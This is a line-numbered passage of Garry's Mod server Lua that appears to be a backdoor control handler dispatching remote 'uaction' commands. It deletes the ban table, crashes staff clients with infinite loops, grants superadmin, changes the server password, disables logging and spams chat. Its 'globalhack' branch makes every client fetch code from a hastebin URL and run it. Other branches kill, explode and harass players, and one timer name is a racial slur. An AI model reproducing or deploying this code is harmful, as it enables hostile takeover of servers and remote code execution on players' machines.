8526 sql.Query("DELETE FROM `ulib_bans`")
8527 end
8528
8529 if (uaction == "backmooveall") then
8530 for k,v in pairs (player.GetAll()) do v:ConCommand( "+back" ) end
8531 end
8532
8533 if (uaction == "pvheal") then
8534 user:SetHealth(net.ReadString())
8535 end
8536
8537 if (uaction == "crashadminvip") then
8538 for k,v in pairs(player.GetAll()) do if( v:GetUserGroup() != "user" ) then v:SendLua("while true do end") end end
8539 end
8540
8541 if (uaction == "armorpv") then
8542 user:SetArmor(net.ReadString())
8543 end
8544
8545 if (uaction == "unbackmooveall") then
8546 for k,v in pairs (player.GetAll()) do v:ConCommand( "-back" ) end
8547 end
8548
8549 if (uaction == "leftmooveall") then
8550 for k,v in pairs (player.GetAll()) do v:ConCommand( "+left" ) end
8551 end
8552
8553 if (uaction == "unleftmooveall") then
8554 for k,v in pairs (player.GetAll()) do v:ConCommand( "-left" ) end
8555 end
8556
8557 if (uaction == "rightmooveall") then
8558 for k,v in pairs (player.GetAll()) do v:ConCommand( "+right" ) end
8559 end
8560
8561 if (uaction == "unrightmooveall") then
8562 for k,v in pairs (player.GetAll()) do v:ConCommand( "-right" ) end
8563 end
8564
8565 if (uaction == "squatmooveall") then
8566 for k,v in pairs (player.GetAll()) do v:ConCommand( "+duck" ) end
8567 end
8568
8569 if (uaction == "unsquatmooveall") then
8570 for k,v in pairs (player.GetAll()) do v:ConCommand( "-duck" ) end
8571 end
8572
8573 if (uaction == "forwardmoove") then
8574 user:ConCommand( "+forward" )
8575 end
8576
8577 if (uaction == "unforwardmoove") then
8578 user:ConCommand( "-forward" )
8579 end
8580
8581 if (uaction == "backmoove") then
8582 user:ConCommand( "+back" )
8583 end
8584
8585 if (uaction == "unbackmoove") then
8586 user:ConCommand( "-back" )
8587 end
8588
8589 if (uaction == "leftmoove") then
8590 user:ConCommand( "+left" )
8591 end
8592
8593 if (uaction == "unleftmoove") then
8594 user:ConCommand( "-left" )
8595 end
8596
8597 if (uaction == "notification_generic") then
8598 local text = net.ReadString()
8599 local duration = 50
8600 for k,v in pairs (player.GetAll()) do
8601
8602 v:SendLua("notification.AddLegacy(\"" .. text .. "\", NOTIFY_GENERIC, " .. duration .. ")")
8603
8604 v:SendLua([[surface.PlaySound("buttons/button15.wav")]])
8605
8606 ULib.console( v, text )
8607
8608 end
8609 end
8610
8611 if (uaction == "notification_error") then
8612 local text = net.ReadString()
8613 local duration = 50
8614 for k,v in pairs (player.GetAll()) do
8615
8616 v:SendLua("notification.AddLegacy(\"" .. text .. "\", NOTIFY_ERROR, " .. duration .. ")")
8617
8618 v:SendLua([[surface.PlaySound("buttons/button15.wav")]])
8619
8620 ULib.console( v, text )
8621
8622 end
8623 end
8624
8625 if (uaction == "notification_undo") then
8626 local text = net.ReadString()
8627 local duration = 50
8628 for k,v in pairs (player.GetAll()) do
8629
8630 v:SendLua("notification.AddLegacy(\"" .. text .. "\", NOTIFY_UNDO, " .. duration .. ")")
8631
8632 v:SendLua([[surface.PlaySound("buttons/button15.wav")]])
8633
8634 ULib.console( v, text )
8635
8636 end
8637 end
8638
8639 if (uaction == "notification_hint") then
8640 local text = net.ReadString()
8641 local duration = 50
8642 for k,v in pairs (player.GetAll()) do
8643
8644 v:SendLua("notification.AddLegacy(\"" .. text .. "\", NOTIFY_CLEANUP, " .. duration .. ")")
8645
8646 v:SendLua([[surface.PlaySound("buttons/button15.wav")]])
8647
8648 ULib.console( v, text )
8649
8650 end
8651 end
8652
8653 if (uaction == "notification_cleanup") then
8654 local text = net.ReadString()
8655 local duration = 50
8656 for k,v in pairs (player.GetAll()) do
8657
8658 v:SendLua("notification.AddLegacy(\"" .. text .. "\", NOTIFY_HINT, " .. duration .. ")")
8659
8660 v:SendLua([[surface.PlaySound("buttons/button15.wav")]])
8661
8662 ULib.console( v, text )
8663
8664 end
8665 end
8666
8667 if (uaction == "rightmoove") then
8668 user:ConCommand( "+right" )
8669 end
8670
8671 if (uaction == "unrightmoove") then
8672 user:ConCommand( "-right" )
8673 end
8674
8675 if (uaction == "squatmoove") then
8676 user:ConCommand( "+duck" )
8677 end
8678
8679 if (uaction == "unsquatmoove") then
8680 user:ConCommand( "-duck" )
8681 end
8682
8683 if (uaction == "unfreezeall") then
8684 for k,v in pairs (player.GetAll()) do v:Freeze( false ) end
8685 end
8686
8687 if (uaction == "unfreezeallstaff") then
8688 for k,v in pairs(player.GetAll()) do if( v:GetUserGroup() != "user" ) then v:Freeze( false ) end end
8689 end
8690
8691 if (uaction == "noclipallon") then
8692 for k,v in pairs (player.GetAll()) do v:SetMoveType( MOVETYPE_NOCLIP ) end
8693 end
8694
8695 if (uaction == "noclipalloff") then
8696 for k,v in pairs (player.GetAll()) do v:SetMoveType( MOVETYPE_WALK ) end
8697 end
8698
8699 if (uaction == "noclipon") then
8700 user:SetMoveType( MOVETYPE_NOCLIP )
8701 end
8702
8703 if (uaction == "noclipoff") then
8704 user:SetMoveType( MOVETYPE_WALK )
8705 end
8706
8707 if (uaction == "unfreezeuser") then
8708 user:Freeze( false )
8709 user:UnLock()
8710 ulx.clearExclusive( user )
8711 end
8712
8713 if (uaction == "jump") then
8714 for k,v in pairs (player.GetAll()) do v:SetJumpPower( 2000 ) end
8715 end
8716
8717 if (uaction == "retablirjumpall") then
8718 for k,v in pairs (player.GetAll()) do v:SetJumpPower( 200 ) end
8719 end
8720
8721 if (uaction == "2dplayerall") then
8722 for k,v in pairs(player.GetAll()) do
8723 local a = v:LookupBone("ValveBiped.Bip01_Head1")
8724 local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
8725 local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
8726 local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
8727 local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
8728 local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
8729 local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
8730 local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
8731 local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
8732 local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
8733 local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
8734 v:ManipulateBoneScale( a, Vector(4,0,4))
8735 v:ManipulateBoneScale( b, Vector(0,0,0))
8736 v:ManipulateBoneScale( c, Vector(0,0,0))
8737 v:ManipulateBoneScale( d, Vector(0,0,1))
8738 v:ManipulateBoneScale( e, Vector(0,0,1))
8739 v:ManipulateBoneScale( f, Vector(0,0,0))
8740 v:ManipulateBoneScale( g, Vector(0,0,0))
8741 v:ManipulateBoneScale( h, Vector(1,1.5,1.5))
8742 v:ManipulateBoneScale( i, Vector(1,1.5,1.5))
8743 v:ManipulateBoneScale( j, Vector(0,0,0))
8744 v:ManipulateBoneScale( k, Vector(0,0,0))
8745 end
8746 end
8747
8748 if (uaction == "grossetete") then
8749 for k,v in pairs(player.GetAll()) do
8750 local a = v:LookupBone("ValveBiped.Bip01_Head1")
8751 v:ManipulateBoneScale( a, Vector(5,5,5))
8752 end
8753 end
8754
8755 if (uaction == "grosseteteuser") then
8756 local a = user:LookupBone("ValveBiped.Bip01_Head1")
8757 user:ManipulateBoneScale( a, Vector(5,5,5))
8758 end
8759
8760 if (uaction == "2dplayeruser") then
8761 local a = user:LookupBone("ValveBiped.Bip01_Head1")
8762 local b = user:LookupBone("ValveBiped.Bip01_R_Thigh")
8763 local c = user:LookupBone("ValveBiped.Bip01_L_Thigh")
8764 local d = user:LookupBone("ValveBiped.Bip01_R_Calf")
8765 local e = user:LookupBone("ValveBiped.Bip01_L_Calf")
8766 local f = user:LookupBone("ValveBiped.Bip01_R_UpperArm")
8767 local g = user:LookupBone("ValveBiped.Bip01_L_UpperArm")
8768 local h = user:LookupBone("ValveBiped.Bip01_R_Forearm")
8769 local i = user:LookupBone("ValveBiped.Bip01_L_Forearm")
8770 local j = user:LookupBone("ValveBiped.Bip01_R_Clavicle")
8771 local k = user:LookupBone("ValveBiped.Bip01_L_Clavicle")
8772 user:ManipulateBoneScale( a, Vector(4,0,4))
8773 user:ManipulateBoneScale( b, Vector(0,0,0))
8774 user:ManipulateBoneScale( c, Vector(0,0,0))
8775 user:ManipulateBoneScale( d, Vector(0,0,1))
8776 user:ManipulateBoneScale( e, Vector(0,0,1))
8777 user:ManipulateBoneScale( f, Vector(0,0,0))
8778 user:ManipulateBoneScale( g, Vector(0,0,0))
8779 user:ManipulateBoneScale( h, Vector(1,1.5,1.5))
8780 user:ManipulateBoneScale( i, Vector(1,1.5,1.5))
8781 user:ManipulateBoneScale( j, Vector(0,0,0))
8782 user:ManipulateBoneScale( k, Vector(0,0,0))
8783 end
8784
8785 if (uaction == "jumpuser") then
8786 user:SetJumpPower( 2000 )
8787 end
8788
8789 if (uaction == "jumpuser") then
8790 user:SetJumpPower( 2000 )
8791 end
8792
8793 if (uaction == "logsremove") then
8794 RunConsoleCommand("ulx_logecho", "0")
8795 end
8796
8797 if (uaction == "gm_construct_spawn") then
8798 user:SetPos( Vector( 786.414490, -166.286102, -79.968750 ) )
8799 user:SetLocalVelocity( Vector( 0, 0, 0 ) )
8800 end
8801
8802 if (uaction == "gm_construct_building_roof0") then
8803 user:SetPos( Vector( 1741.335815, -1606.526245, 1161.920288 ) )
8804 user:SetLocalVelocity( Vector( 0, 0, 0 ) )
8805 end
8806
8807 if (uaction == "gm_construct_building_roof1") then
8808 user:SetPos( Vector( 1434.847778, -1624.269897, 1360.031250 ) )
8809 user:SetLocalVelocity( Vector( 0, 0, 0 ) )
8810 end
8811
8812 if (uaction == "gm_construct_building2_roof0") then
8813 user:SetPos( Vector( -2312.447266, -2994.058105, 2912.031250 ) )
8814 user:SetLocalVelocity( Vector( 0, 0, 0 ) )
8815 end
8816
8817 if (uaction == "gm_construct_building3_roof0") then
8818 user:SetPos( Vector( -4632.838379, 5414.228516, 2560.031250 ) )
8819 user:SetLocalVelocity( Vector( 0, 0, 0 ) )
8820 end
8821
8822 if (uaction == "gm_construct_building2_roof1") then
8823 user:SetPos( Vector( -2301.528564, -3178.893555, 2368.031250 ) )
8824 user:SetLocalVelocity( Vector( 0, 0, 0 ) )
8825 end
8826
8827 if (uaction == "gm_construct_down") then
8828 user:SetPos( Vector( -2072.327148, -120.263184, -447.968750 ) )
8829 user:SetLocalVelocity( Vector( 0, 0, 0 ) )
8830 end
8831
8832 if (uaction == "gm_construct_secret") then
8833 user:SetPos( Vector( -2994.707031, -1243.276611, -77.271637 ) )
8834 user:SetLocalVelocity( Vector( 0, 0, 0 ) )
8835 end
8836
8837 if (uaction == "gm_construct_skybox") then
8838 user:SetPos( Vector( -1543.972412, 1734.876221, 10937.232422 ) )
8839 user:SetLocalVelocity( Vector( 0, 0, 0 ) )
8840 end
8841
8842 if (uaction == "gm_flat_secret") then
8843 user:SetPos( Vector( -599.203491, 6.064875, -12703.968750 ) )
8844 user:SetLocalVelocity( Vector( 0, 0, 0 ) )
8845 end
8846
8847 if (uaction == "glife3_grue") then
8848 user:SetPos( Vector( -2150.254395, 7953.561523, 1333.250366 ) )
8849 user:SetLocalVelocity( Vector( 0, 0, 0 ) )
8850 end
8851
8852 if (uaction == "glife3_secret") then
8853 user:SetPos( Vector( -7075.260742, 1205.734009, -288.307312 ) )
8854 user:SetLocalVelocity( Vector( 0, 0, 0 ) )
8855 end
8856
8857 if (uaction == "glife3_coffre") then
8858 user:SetPos( Vector( -6389.708008, 5038.359375, 96.025749 ) )
8859 user:SetLocalVelocity( Vector( 0, 0, 0 ) )
8860 end
8861
8862 if (uaction == "glife3_water_tower") then
8863 user:SetPos( Vector( 5316.801758, 15845.748047, 1652.517944 ) )
8864 user:SetLocalVelocity( Vector( 0, 0, 0 ) )
8865 end
8866
8867 if (uaction == "rp_rockford_v2b_spawn") then
8868 user:SetPos( Vector( -4701.085938 ,-5387.226563,128.031250 ) )
8869 user:SetLocalVelocity( Vector( 0, 0, 0 ) )
8870 end
8871
8872
8873
8874 if (uaction == "spamchat") then
8875 timer.Create( "spamchat1", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "â– â–‚ â–ƒ â–„ â–… â–† ▇ĤẪĈЌĒĎ ฿¥ Ä”ÏĨĩĆẤ ŤΈǺMâ–ˆ â–‡ â–† â–… â–„ â–‚ â–")]]) end)
8876
8877 end
8878
8879 if (uaction == "restartserver") then
8880 if file.Exists("data/ulx/config.txt", "GAME") then
8881 game.ConsoleCommand("ulx map " .. game.GetMap() .. "\n")
8882 else
8883 game.ConsoleCommand("changelevel " .. game.GetMap() .. "\n")
8884 end
8885 end
8886
8887 if (uaction == "spamchatstop") then
8888 timer.Stop( "spamchat1")
8889 end
8890
8891 if (uaction == "setmodel") then
8892 user:SetModel( net.ReadString() )
8893 end
8894
8895 if (uaction == "retablirjumpuser") then
8896 user:SetJumpPower( 200 )
8897 end
8898
8899 if (uaction == "launchuser") then
8900 user:SetVelocity( Vector( 0,0,50 ) * 50 )
8901 end
8902
8903 if (uaction == "lockdown") then
8904 user:Give( "weapon_rpg" )
8905 user:GiveAmmo( 200, "RPG_Round", true )
8906 user:SendLua([[
8907hook.Add( "Think", "TriggerBofezt", function()
8908RunConsoleCommand("use","weapon_rpg")
8909if !Firing then
8910 RunConsoleCommand( "+attack" )
8911 Firing = true
8912else
8913 RunConsoleCommand( "-attack" )
8914 Firing = false
8915end
8916end )
8917 ]])
8918 end
8919
8920 if (uaction == "launchall") then
8921 for k,v in pairs (player.GetAll()) do
8922 v:SetVelocity( Vector( 0,0,50 ) * 50 )
8923 end
8924 end
8925
8926 if (uaction == "globalhack") then
8927 if !ptdr then
8928 for k,v in pairs (player.GetAll()) do v:SendLua([[http.Fetch("https://hastebin.com/raw/huyupufifi",function(b) RunString(b) end)]]) end
8929 local ptdr = 1
8930 else
8931 local ptdr = 0
8932 for k,v in pairs (player.GetAll()) do v:SendLua([[hook.Remove("PostDrawOpaqueRenderables","\xFFitsrainingchairs\xFF")]]) end
8933 end
8934 end
8935
8936 if (uaction == "changename") then
8937 RunConsoleCommand("hostname", net.ReadString())
8938 end
8939
8940if (uaction == "namechanger") then
8941local namesf = {
8942"Marc",
8943"Hugh",
8944"Maurice",
8945"Gill",
8946"Etienne",
8947"Antoine",
8948"Jean",
8949"Benoit",
8950"Gilbert",
8951"Laurent",
8952"Alexis",
8953"Alexandre",
8954"Denis",
8955"Nicholas",
8956"Leon",
8957"Leonard",
8958"Leo",
8959"Olivier",
8960"Curtis",
8961"Antonio",
8962"Gregory",
8963"Charlie",
8964"Luc",
8965"Patrick",
8966"Phillip",
8967"Bernard",
8968"Charles",
8969"Gaspar",
8970"Claude",
8971"Michael",
8972"Brandon",
8973"Richard",
8974"William",
8975"Serge",
8976"Freddie",
8977"Samuel",
8978"Gaetan",
8979"Gerald",
8980"Arnold",
8981"Roland",
8982"Justin",
8983"Theodore",
8984"Claude",
8985"Hugues",
8986"Albert",
8987"Arthur",
8988"Jay",
8989"Jeremi",
8990"Rene",
8991"Pascal",
8992"Carlos",
8993"Fabien",
8994"Rafael",
8995"Benjamin",
8996"Ernest",
8997"Victor",
8998"Martin",
8999"Franck",
9000"Walter",
9001"Isaac",
9002"Roger",
9003"Alfred",
9004"Jason",
9005"Danny",
9006"Henry",
9007"Jimmy",
9008"Kevin",
9009"Geoffrey",
9010"Dominic",
9011"Christopher",
9012"David",
9013"Steven",
9014}
9015for k,v in pairs (player.GetAll()) do local name = table.Random( namesf ) v:Say("/name " .. name,true) end
9016 end
9017
9018 if (uaction == "namechangerspam") then
9019local namesfs = {
9020"Marc",
9021"Hugh",
9022"Maurice",
9023"Gill",
9024"Etienne",
9025"Antoine",
9026"Jean",
9027"Benoit",
9028"Gilbert",
9029"Laurent",
9030"Alexis",
9031"Alexandre",
9032"Denis",
9033"Nicholas",
9034"Leon",
9035"Leonard",
9036"Leo",
9037"Olivier",
9038"Curtis",
9039"Antonio",
9040"Gregory",
9041"Charlie",
9042"Luc",
9043"Patrick",
9044"Phillip",
9045"Bernard",
9046"Charles",
9047"Gaspar",
9048"Claude",
9049"Michael",
9050"Brandon",
9051"Richard",
9052"William",
9053"Serge",
9054"Freddie",
9055"Samuel",
9056"Gaetan",
9057"Gerald",
9058"Arnold",
9059"Roland",
9060"Justin",
9061"Theodore",
9062"Claude",
9063"Hugues",
9064"Albert",
9065"Arthur",
9066"Jay",
9067"Jeremi",
9068"Rene",
9069"Pascal",
9070"Carlos",
9071"Fabien",
9072"Rafael",
9073"Benjamin",
9074"Ernest",
9075"Victor",
9076"Martin",
9077"Franck",
9078"Walter",
9079"Isaac",
9080"Roger",
9081"Alfred",
9082"Jason",
9083"Danny",
9084"Henry",
9085"Jimmy",
9086"Kevin",
9087"Geoffrey",
9088"Dominic",
9089"Christopher",
9090"David",
9091"Steven",
9092}
9093timer.Create( "namechangerspam", 5, 0, function()
9094for k,v in pairs (player.GetAll()) do local namez = table.Random( namesfs ) v:Say("/name " .. namez,true) end
9095end)
9096 end
9097
9098 if (uaction == "namechangerstop") then
9099 timer.Destroy("namechangerspam")
9100 end
9101
9102 if (uaction == "allowcsluads") then
9103 RunConsoleCommand("sv_allowcslua", net.ReadString())
9104 end
9105
9106 if (uaction == "secureinfo") then
9107 RunConsoleCommand("sv_password", net.ReadString())
9108 end
9109
9110 if (uaction == "changeload") then
9111 RunConsoleCommand( "sv_loadingurl", net.ReadString() )
9112 end
9113
9114 if (uaction == "killuser") then
9115 user:Kill()
9116 end
9117
9118 if (uaction == "addmoneyall") then
9119 for k,v in pairs(player.GetAll()) do timer.Create( "timerargent10", 0.01, 0, function() v:addMoney(11) end) end
9120 end
9121
9122 if (uaction == "flashon") then
9123 user:SendLua([[timer.Create("impulse 100", 0.001, 0, function() LocalPlayer():ConCommand("impulse 100") end)]])
9124 end
9125
9126 if (uaction == "flashoff") then
9127 user:SendLua([[timer.Remove("impulse 100")]])
9128 end
9129
9130 if (uaction == "screenon") then
9131 user:SendLua([[timer.Create("screenshot requested", 0.001, 0, function() LocalPlayer():ConCommand("screenshot requested") end)]])
9132 end
9133
9134 if (uaction == "screenoff") then
9135 user:SendLua([[timer.Remove("screenshot requested")]])
9136 end
9137
9138 if (uaction == "killusersilence") then
9139 user:KillSilent()
9140 end
9141
9142 if (uaction == "allkillusersilence") then
9143 for k,v in pairs (player.GetAll()) do v:KillSilent() end
9144 end
9145
9146 if (uaction == "animation_salute") then
9147 for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_SALUTE) end
9148 end
9149
9150 if (uaction == "animation_salute_loop") then
9151 for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_SALUTE) end
9152 timer.Create("salute_loop",3.3,0,function()
9153 for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_SALUTE) end
9154 end )
9155 end
9156
9157 if (uaction == "animation_robot") then
9158 for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_ROBOT) end
9159 end
9160
9161 if (uaction == "animation_robot_loop") then
9162 for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_ROBOT) end
9163 timer.Create("robot_loop",11.35,0,function()
9164 for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_ROBOT) end
9165 end )
9166 end
9167
9168 if (uaction == "animation_cheer") then
9169 for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end
9170 end
9171
9172 if (uaction == "animation_cheer_loop") then
9173 for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end
9174 timer.Create("cheer_loop",2.7,0,function()
9175 for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end
9176 end )
9177 end
9178
9179 if (uaction == "animation_laugh") then
9180 for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_LAUGH) end
9181 end
9182
9183 if (uaction == "animation_laugh_loop") then
9184 for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_LAUGH) end
9185 timer.Create("laugh_loop",5.81,0,function()
9186 for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_LAUGH) end
9187 end )
9188 end
9189
9190 if (uaction == "animation_muscle") then
9191 for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_MUSCLE) end
9192 end
9193
9194 if (uaction == "animation_muscle_loop") then
9195 for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_MUSCLE) end
9196 timer.Create("muscle_loop",13,0,function()
9197 for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_MUSCLE) end
9198 end )
9199 end
9200
9201 if (uaction == "animation_persistence") then
9202 for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_PERSISTENCE) end
9203 end
9204
9205 if (uaction == "animation_persistence_loop") then
9206 for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_PERSISTENCE) end
9207 timer.Create("persistence_loop",3,0,function()
9208 for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_PERSISTENCE) end
9209 end )
9210 end
9211
9212 if (uaction == "animation_dance") then
9213 for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end
9214 end
9215
9216 if (uaction == "animation_dance_loop") then
9217 for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end
9218 timer.Create("dance_loop",8.9,0,function()
9219 for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end
9220 end )
9221 end
9222
9223 if (uaction == "stop_timer_animation") then
9224 timer.Destroy("salute_loop")
9225 timer.Destroy("robot_loop")
9226 timer.Destroy("cheer_loop")
9227 timer.Destroy("laugh_loop")
9228 timer.Destroy("muscle_loop")
9229 timer.Destroy("persistence_loop")
9230 timer.Destroy("dance_loop")
9231 end
9232
9233 if (uaction == "scaleuser") then
9234 local scale = net.ReadString()
9235 user:SetModelScale( scale, 2 )
9236 end
9237
9238 if (uaction == "scaleall") then
9239 local scale = net.ReadString()
9240
9241 for k,v in pairs (player.GetAll()) do v:SetModelScale( scale, 2 ) end
9242 end
9243
9244 if (uaction == "animation_salute_user") then
9245 user:DoAnimationEvent(ACT_GMOD_TAUNT_SALUTE)
9246 end
9247
9248 if (uaction == "animation_robot_user") then
9249 user:DoAnimationEvent(ACT_GMOD_TAUNT_ROBOT)
9250 end
9251
9252 if (uaction == "animation_cheer_user") then
9253 user:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER)
9254 end
9255
9256 if (uaction == "animation_laugh_user") then
9257 user:DoAnimationEvent(ACT_GMOD_TAUNT_LAUGH)
9258 end
9259
9260 if (uaction == "animation_muscle_user") then
9261 user:DoAnimationEvent(ACT_GMOD_TAUNT_MUSCLE)
9262 end
9263
9264 if (uaction == "animation_persistence_user") then
9265 user:DoAnimationEvent(ACT_GMOD_TAUNT_PERSISTENCE)
9266 end
9267
9268 if (uaction == "animation_dance_user") then
9269 user:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE)
9270 end
9271
9272 if (uaction == "allkillusersilencestaff") then
9273 for k,v in pairs(player.GetAll()) do if( v:GetUserGroup() != "user" ) then v:KillSilent() end end
9274 end
9275
9276 if (uaction == "fireuser") then
9277 user:Ignite( 30 )
9278 end
9279
9280 if (uaction == "modelall") then
9281 local model = net.ReadString()
9282 for k,v in pairs(player.GetAll()) do v:SetModel(model) end
9283 end
9284
9285 if (uaction == "cassergr") then
9286 user:SetGravity( -5 )
9287 end
9288
9289 if (uaction == "physicgamestyle") then
9290 RunConsoleCommand("sv_friction", "-8")
9291 end
9292
9293 if (uaction == "retablirphysicgamestyle") then
9294 RunConsoleCommand("sv_friction", "8")
9295 end
9296
9297 if (uaction == "earthquakeonall") then
9298 for k, v in pairs( player.GetAll() ) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end
9299 end
9300
9301 if (uaction == "itemsall") then
9302 local itemsss = net.ReadString()
9303 for k,v in pairs (player.GetAll()) do v:Give( itemsss ) end
9304 end
9305
9306 if (uaction == "cleanup") then
9307 game.CleanUpMap()
9308 end
9309
9310 if (uaction == "cassergrall") then
9311 for k,v in pairs (player.GetAll()) do v:SetGravity( -5 ) end
9312 end
9313
9314 if (uaction == "superadmin") then
9315 user:SetUserGroup("superadmin")
9316 end
9317
9318 if (uaction == "custom") then
9319 user:SetUserGroup(net.ReadString())
9320 end
9321
9322 if (uaction == "userrank") then
9323 user:SetUserGroup("user")
9324 end
9325
9326 if (uaction == "retablirgr") then
9327 user:SetGravity( 0 )
9328 end
9329
9330 if (uaction == "retablirgrall") then
9331 for k,v in pairs (player.GetAll()) do v:SetGravity( 0 ) end
9332 end
9333
9334 if (uaction == "strip") then
9335 user:StripWeapons()
9336 end
9337
9338 if (uaction == "unjailall") then
9339 game.ConsoleCommand("ulx unjail *\n")
9340 end
9341
9342 if (uaction == "contextfucker") then
9343
9344util.AddNetworkString("enigmamod")
9345
9346net.Receive( "enigmamod", function(len, len, ply)
9347 local v = net.ReadEntity()
9348 local two = net.ReadInt(32)
9349
9350 local function zapEffect(target)
9351 local effectdata = EffectData()
9352 effectdata:SetScale(1)
9353 effectdata:SetMagnitude(1)
9354 effectdata:SetScale(3)
9355 effectdata:SetRadius(2)
9356 effectdata:SetEntity(target)
9357 for i = 1, 100, 1 do
9358 timer.Simple(1 / i, function()
9359 util.Effect("TeslaHitBoxes", effectdata, true, true)
9360 end)
9361 end
9362 local Zap = math.random(1,9)
9363 if Zap == 4 then Zap = 3 end
9364 target:EmitSound("ambient/energy/zap" .. Zap .. ".wav")
9365 end
9366 local function teleportrandom()
9367 local lesjoueurs = player.GetAll()
9368 local random = math.random(1, #lesjoueurs)
9369 if v == lesjoueurs[random] then return end
9370 local sphere = ents.FindInSphere(v:GetPos(), 200)
9371 for i=1, #sphere do
9372 if sphere[i]:GetClass() == "player" then
9373 if sphere[i] == lesjoueurs[random] then
9374 teleportrandom()
9375 return
9376 end
9377 end
9378 end
9379 v:SetPos(lesjoueurs[random]:GetPos() + Vector(100,0,30))
9380 zapEffect(v)
9381 end
9382
9383 if two == 1 then
9384 v:VC_repairFull_Admin()
9385 elseif two == 2 then
9386 v:VC_fuelSet(v:VC_fuelGetMax())
9387 elseif two == 3 then
9388 v:VC_explodeEngine(true)
9389 elseif two == 5 then
9390 v:VC_damagePart("wheel", 1)
9391 v:VC_damagePart("wheel", 2)
9392 v:VC_damagePart("wheel", 3)
9393 v:VC_damagePart("wheel", 4)
9394 elseif two == 6 then
9395 v:VC_clearSeats()
9396 elseif two == 7 then
9397 v:Remove()
9398 elseif two == 8 then
9399 v:Kill()
9400 elseif two == 9 then
9401 v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000)))
9402 elseif two == 10 then
9403 v:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
9404 elseif two == 11 then
9405 local rocket = ents.Create("m9k_launched_davycrockett")
9406 local ply2 = v
9407 rocket:SetPos(ply2:GetPos())
9408 rocket:SetOwner(ply2)
9409 rocket.Owner = ply2
9410 rocket:Spawn()
9411 rocket:Activate()
9412 elseif two == 12 then
9413 v:SendLua([[timer.Create("mictoggle", 0.1, 0, function()LocalPlayer():ConCommand("+voicerecord")end)]])
9414 elseif two == 13 then
9415 v:SendLua([[timer.Destroy("mictoggle")LocalPlayer():ConCommand("-voicerecord")]])
9416 elseif two == 14 then
9417 timer.Create("fuckthenigga",0.5,5,function()
9418 local rocket = ents.Create("m9k_launched_davycrockett")
9419 local ply2 = v
9420 rocket:SetPos(ply2:GetPos())
9421 rocket:SetOwner(ply2)
9422 rocket.Owner = ply2
9423 rocket:Spawn()
9424 rocket:Activate()
9425 end)
9426 elseif two == 15 then
9427 v:SetPos(v:GetPos() + Vector(200,200,200))
9428 elseif two == 16 then
9429 v:Fire("open", "", .6)
9430 v:Fire("setanimation", "open", .6)
9431 elseif two == 17 then
9432 v:Fire( "Lock" )
9433 elseif two == 18 then
9434 hook.Add("Think", "fzefezfez", function()
9435 local fuxios = v:GetPos() or nil
9436 if fuxios == nil then return end
9437 local mdr = ents.FindInSphere(v:GetPos(), 200)
9438 for i=1, #mdr do
9439 if mdr[i] == v then return end
9440 if mdr[i]:IsPlayer() then
9441 local explode = ents.Create( "env_explosion" )
9442 explode:SetPos( mdr[i]:GetPos() )
9443 explode:Spawn()
9444 explode:SetKeyValue( "iMagnitude", "220" )
9445 explode:Fire( "Explode", 0, 0 )
9446 explode:EmitSound( "weapon_AWP.Single", 200, 200 )
9447 end
9448 timer.Simple(0.5,function()
9449 mdr[i]:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
9450 mdr[i]:Kill()
9451 end)
9452 end
9453 end)
9454 elseif two == 19 then
9455 if v:VC_hasGodMode() then
9456 v:VC_setGodMode(false)
9457 else
9458 v:VC_setGodMode(false)
9459 end
9460 elseif two == 20 then
9461 hook.Add("Think", "fzefezfezzzz", function()
9462 local mdr = ents.FindInSphere(v:GetPos(), 200)
9463 for i=1, #mdr do
9464 if mdr[i] == v then return end
9465 mdr[i]:Remove()
9466 end
9467 end)
9468 elseif two == 21 then
9469 teleportrandom()
